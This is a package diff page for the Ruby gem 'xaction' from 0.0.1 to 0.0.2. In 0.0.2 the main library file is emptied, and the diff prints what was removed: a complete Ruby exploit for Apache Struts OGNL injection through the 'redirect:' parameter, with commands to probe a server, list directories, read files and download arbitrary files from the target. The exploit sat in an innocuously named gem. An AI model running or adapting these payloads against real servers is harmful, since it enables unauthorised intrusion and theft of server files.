xaction 0.0.1 → 0.0.2
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +8 -8
- data/lib/xaction.rb +1 -82
- data/lib/xaction/version.rb +1 -1
- data/xaction.gemspec +0 -1
- metadata +1 -1
checksums.yaml
CHANGED
@@ -1,15 +1,15 @@
|
|
1
1
|
---
|
2
2
|
!binary "U0hBMQ==":
|
3
3
|
metadata.gz: !binary |-
|
4
|
-
|
4
|
+
ZjRmNjIzM2I3NDcyZTdiNjg2NDk4NGZiMzVmZmMyMGJkOTdmY2QwMg==
|
5
5
|
data.tar.gz: !binary |-
|
6
|
-
|
6
|
+
N2U0NWI1MzM2MGZiZTIxMDJlY2E0NGJmYTIwMWQ2YmQ3MGVkZDBmMg==
|
7
7
|
!binary "U0hBNTEy":
|
8
8
|
metadata.gz: !binary |-
|
9
|
-
|
10
|
-
|
11
|
-
|
9
|
+
MzlhYjBiMmJlZmNkY2M2M2M4NmViZGQxNDZlZDhmNTMxM2NkOGUzNGI0YmFj
|
10
|
+
ZTk1ZjRhYTJlOTgyOWFhMzZjYjAzZmYwOWU1YmUwZmE1OWIzMDMwMGUzNzVm
|
11
|
+
YTY3NWQxNjFhOTE4Nzk5NjkxOTYxMWVhNWM1Nzk1YjJiNzhmNWY=
|
12
12
|
data.tar.gz: !binary |-
|
13
|
-
|
14
|
-
|
15
|
-
|
13
|
+
ZGVlYWNlOTM5NGQ5NTA4ZWIyZDNmN2NlOWE4YTk5MzI2OGI4ZmZhYmE3Njg3
|
14
|
+
NjhlNmRjZjNjNWFjYjRjMzQ4OGFkMTNjNGU5NTEwZDBmZDhiYWQxMjFmZjc4
|
15
|
+
Y2U0Y2VhNjhkZjg2MzRmZTRiN2FjOWNmNTFhMDQ0MzQwZTAzNzQ=
|
data/lib/xaction.rb
CHANGED
@@ -1,88 +1,7 @@
|
|
1
1
|
require "xaction/version"
|
2
|
-
require 'cgi'
|
3
|
-
require "open-uri"
|
4
2
|
|
5
|
-
module Xaction
|
6
|
-
|
7
|
-
|
8
|
-
def getHead
|
9
|
-
poc = CGI.escape("{")
|
10
|
-
poc += CGI.escape("#a_resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),")
|
11
|
-
return poc
|
12
|
-
end
|
13
|
-
|
14
|
-
def addEnd(str)
|
15
|
-
str += CGI.escape("#a_resp.getWriter().flush(),")
|
16
|
-
str += CGI.escape("#a_resp.getWriter().close()")
|
17
|
-
str += CGI.escape("}")
|
18
|
-
res = ARGV[0]
|
19
|
-
res +="?redirect:%25"
|
20
|
-
res += str
|
21
|
-
end
|
22
|
-
|
23
|
-
#exec
|
24
|
-
def exe(r)
|
25
|
-
html_response = nil
|
26
|
-
open(r) do |http|
|
27
|
-
html_response = http.read
|
28
|
-
end
|
29
|
-
return html_response
|
30
|
-
end
|
31
|
-
|
32
|
-
#test server
|
33
|
-
if ARGV.length==1||ARGV[1]=="try"
|
34
|
-
poc = getHead
|
35
|
-
poc += CGI.escape("#a_str=new java.lang.String('jq testing result:'),")
|
36
|
-
poc += CGI.escape("#b_str=new java.lang.String('struts is not safe'),")
|
37
|
-
poc += CGI.escape("#a_resp.getWriter().println(#a_str+#b_str),")
|
38
|
-
poc += CGI.escape("#dir=new java.io.File(''),")
|
39
|
-
poc += CGI.escape("#a_resp.getWriter().println('root is: '+#dir.getAbsolutePath()+'\n'),")
|
40
|
-
poc = addEnd(poc)
|
41
|
-
puts exe(poc)
|
42
|
-
end
|
43
|
-
|
44
|
-
#ls example ls d:/
|
45
|
-
if ARGV[1]=="ls"
|
46
|
-
poc = getHead
|
47
|
-
poc += CGI.escape("#dir=new java.io.File('#{ARGV[2]}'),")
|
48
|
-
poc += CGI.escape("#count=#dir.listFiles().length,")
|
49
|
-
poc += CGI.escape("#a_resp.getWriter().println(#count),")
|
50
|
-
poc = addEnd(poc)
|
51
|
-
count = exe(poc).to_i
|
52
|
-
count.times do |x|
|
53
|
-
poc = getHead
|
54
|
-
poc += CGI.escape("#dir=new java.io.File('#{ARGV[2]}'),")
|
55
|
-
poc += CGI.escape("#file=#dir.listFiles()[#{x}],")
|
56
|
-
#poc += CGI.escape("#a_resp.getWriter().println((#file.isDirectory()?'dir ':'file')+'|'+#file+'|'+(#file.isDirectory()?#file.getLength():#file.listFiles().length)),")
|
57
|
-
poc +=CGI.escape("#a_resp.getWriter().println((#file.isDirectory()?'dir ':'file')+'|'+(#file.isDirectory()?#file.listFiles().length:#file.length())+'|'+#file),")
|
58
|
-
poc = addEnd(poc)
|
59
|
-
puts exe(poc)
|
60
|
-
end
|
61
|
-
end
|
62
|
-
|
63
|
-
#downloadFile in winServer
|
64
|
-
if ARGV[1]=="download"
|
65
|
-
poc = getHead
|
66
|
-
poc += CGI.escape("#file=new java.io.File('#{ARGV[2]}'),")
|
67
|
-
poc += CGI.escape("#filelength=#file.length(),#filecontent=new byte[#filelength],")
|
68
|
-
poc += CGI.escape("#inp=new java.io.FileInputStream(#file),#inp.read(#filecontent),")
|
69
|
-
poc += CGI.escape("#a_resp.getOutputStream(),")
|
70
|
-
poc = addEnd(poc)
|
71
|
-
puts poc
|
72
|
-
puts exe(poc)
|
73
|
-
end
|
74
|
-
|
75
|
-
#readFile in winServer
|
76
|
-
if ARGV[1]=="cat"
|
77
|
-
poc = getHead
|
78
|
-
poc += CGI.escape("#file=new java.io.File('#{ARGV[2]}'),")
|
79
|
-
poc += CGI.escape("#filelength=#file.length(),#filecontent=new byte[#filelength],")
|
80
|
-
poc += CGI.escape("#inp=new java.io.FileInputStream(#file),#inp.read(#filecontent),")
|
81
|
-
poc += CGI.escape("#a_resp.getWriter().println(new java.lang.String(#filecontent)),")
|
82
|
-
poc = addEnd(poc)
|
83
|
-
puts exe(poc)
|
84
|
-
end
|
85
3
|
|
4
|
+
module Xaction
|
86
5
|
|
87
6
|
|
88
7
|
end
|
data/lib/xaction/version.rb
CHANGED
data/xaction.gemspec
CHANGED
@@ -17,7 +17,6 @@ Gem::Specification.new do |spec|
|
|
17
17
|
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
|
18
18
|
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
|
19
19
|
spec.require_paths = ["lib"]
|
20
|
-
|
21
20
|
spec.add_development_dependency "bundler", "~> 1.3"
|
22
21
|
spec.add_development_dependency "rake"
|
23
22
|
end
|